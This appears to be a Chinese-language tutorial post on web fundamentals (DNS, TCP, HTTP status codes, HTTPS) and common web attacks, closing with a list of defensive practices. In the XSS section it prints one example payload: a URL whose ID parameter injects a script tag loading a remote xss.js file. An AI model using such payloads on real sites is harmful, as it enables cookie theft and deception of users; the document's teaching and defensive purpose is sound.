在浏览器中输入 URL 到整个页面显示在用户面前,这个过程中到底发生了什么?

客户端寻找域名解析服务 — DNS 服务器解析域名,获取对应的 IP 地址 — 与 Web 服务器建立 TCP 连接 — 发送 HTTP 请求数据 — 服务器处理请求,并返回 HTTP 报文 — 浏览器解析,并渲染页面

Web 网络基础

与 HTTP 关系密切的协议: IPTCPDNS

负责传输的 IP 协议

IP 协议位于网络层,它的作用是把各种数据包传送给对方。

IP 协议需要包含两个最重要的条件: IP 地址MAC 地址

IP 地址 指明了节点被分配到的地址, MAC 地址 是指网卡所述的固定地址。

确保可靠性的 TCP 协议

TCP 协议位于传输层,它提供可靠的字节流服务。

为了确保数据准确的传输到目标处,TCP 协议采用了三次握手策略。

为了方便通信,TCP 协议将 HTTP 请求报文分割成报文段来发送给对方。服务器端接收到报文段后将其重组处理。

负责域名解析的 DNS 服务

DNS ( Domain Name System ) 服务位于应用层,它提供与域名到 IP 地址之间的解析服务。

URI 和 URL

URI 是统一资源标识符,用字符串的方式来标识某一互联网资源,使资源具有独一无二的 ID 标识。

URL 是统一资源定位符,标识资源在互联网上所处的地址,是 URL 的一种表现形式,是 URI 的子集。

HTTP 协议

HTTP 是一种不保存状态,即无状态( stateless )协议。

随着 Web 的不断发展,一些使用场景比如电商购物中,期望知道用户的名称和状态,因此引入了 Cookie 技术。

方法

HTTP/1.1 中可用的方法: GET / POST / PUT / HEAD / DELETE / OPTIONS / TRACE / CONNECT

状态码

当客户端向服务器端发送请求时,状态码用来描述返回的请求结果。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
1. 2XX 成功
请求正常处理完毕
200 OK 从客户端发送的请求在服务端被正常处理了。
204 No Content 服务器接受的请求已成功处理,但返回的响应报文的主体部分不包含实体(浏览器页面不更新,仅发送信息给服务器)
206 Partial Content 客户端进行了范围请求,而服务器成功执行了这部分请求

2. 3XX 重定向
浏览器需要执行某些特殊的处理以正确处理请求。
301 Moved Permanently 永久性重定向,请求的资源已经分配了新的URI,以后应该使用资源现在所指的URI
302 Found 临时性重定向,请求的资源临时分配了新的URI,希望用户本次可以使用新的URI访问
注意:当301,302,303响应状态码返回时,几乎所有的浏览器会把POST改成GET,并删除请求报文内的主体,之后请求会自动再次发送
304 Not Modified 服务器端资源未改变,可直接使用客户端未过期的缓存,不包含任何响应的主体部分

3. 4XX 客户端错误
客户端是发生错误的原因所在。
400 Bad Request 请求报文中存在语法错误
401 Unauthorized 请求需要有通过HTTP认证的认证信息。另外如果之前已进行一次请求,则表示用户认证失败
403 Forbidden 对请求资源的访问被服务器拒绝了,如未获得文件系统的访问授权,访问权限出现某些问题
404 Not Found 服务器上没有请求的资源
499 client has closed connection 服务器端处理的时间过长,客户端主动断开链接,ngix定义的状态码

4. 5XX 服务器错误
服务器是发生错误的原因所在。
500 Internal Server Error 服务器在执行请求时发生了错误,Bug或临时故障
503 Service Unavailable 服务器暂时处于超负荷或正在进行停机维护,现在无法处理请求

HTTP 与 HTTPS

HTTP 的缺点

  • 通信使用明文(不加密),内容可能会被窃听
  • 不验证通信方的身份,因此可能遭遇伪装
  • 无法证明报文的完整性,所以有可能已遭篡改

HTTP + 加密 + 认证 + 完整性保护 = HTTPS

HTTPS 并非是一种新的协议,只是 HTTP 通信接口部分用 SSL 和 TLS 协议代替而已。

  • 加密处理防止被窃听:SSL 或 TLS 协议提供通信报文的内容加密
  • 查明对手的证书:SSL 使用证书的手段,来判断对方的真实身份,证书由值得信任的第三方机构颁发
  • 防止内容被篡改:SSL 提供认证和加密处理以及摘要功能

HTTPS 的局限

  1. SSL 通信慢,除去和 TCP 连接、发送 HTTP 请求意外,还必须进行 SSL 通信,整体通信量会变大
  2. SSL 必须进行加密处理,在客户端和服务器端都会消耗 CPU 和内存等资源,导致处理速度变慢
  3. 需要额外的开支用于购买第三方认证证书

Web 的攻击技术

因输出值转义不完全引发的安全漏洞

跨站脚本攻击 Corss-Site Scripting, XSS

它是指通过存在安全漏洞的 Web 网站注册用户的浏览器内运行非法的 HTML 标签或 JavaScript 来进行的一种攻击。

  • 利用虚假输入表单骗取用户个人信息
  • 利用脚本窃取用户的 Cookie 值
  • 显示伪造的图片和文章

例如:

1
2
// 攻击者将恶意代码隐藏入欺诈邮件或者 Web 页面中,诱导用户去点击该 URL
var url = 'http://example.com/login?ID="><script src=http://othor.com/xss.js></script>"'

SQL 注入攻击

SQL 注入是指针对 Web 应用使用的数据库,通过运行非法的 SQL 而产生的攻击。

  • 非法查看或篡改数据库内的数据
  • 规避认证
  • 执行和数据库服务器业务关联的程序等

OS 命令注入攻击

它是指通过 Web 应用,执行非法的操作系统命令达到攻击的目的。

HTTP 首部注入攻击

它是指攻击者通过在相应首部字段内插入换行,添加任何响应首部或主体的一种攻击。

  • 设置任何 Cookie 信息
  • 重定向至任何 URL
  • 显示任意的主体(HTTP 响应截断攻击)

因会话管理疏忽引发的安全漏洞

会话劫持

会话劫持是指攻击者通过某种手段拿到用户的会话 ID ,并非法使用此会话 ID 伪装成用户,达到攻击的目的。

跨站点请求伪造

跨站点请求伪造( Cross-Site Request Forgeries,CSRF ) 攻击是指攻击者通过设置好的陷阱,强制对已完成认证的用户进行非预期的个人信息或设定信息等某些状态的更新,属于被动攻击。

良好的习惯和防范措施

  1. 永远不要相信客户端传来的任何信息,对这些信息都应先进行编码或过滤处理;
  2. 谨慎返回用户输入的信息;
  3. 使用黑名单和白名单处理(即“不允许哪些敏感信息”或“只允许哪些信息”,白名单的效果更好但局限性高);
  4. 检查、验证请求来源,对每一个重要的操作都进行重新验证;
  5. 使用SSL防止第三方监听通信(但无法阻止XSS、CSRF、SQL注入攻击);
  6. 不要将重要文件、备份文件存放在公众可访问到的地方;
  7. 会话ID无序化;
  8. 对用户上传的文件进行验证(不单单是格式验证,比方一张gif图片还应将其转为二进制并验证其每帧颜色值<无符号8位>和宽高值<无符号16位>);
  9. WSDL文档应当要求用户注册后才能获取;
  10. 在报头定义CSP(Content Security Policy);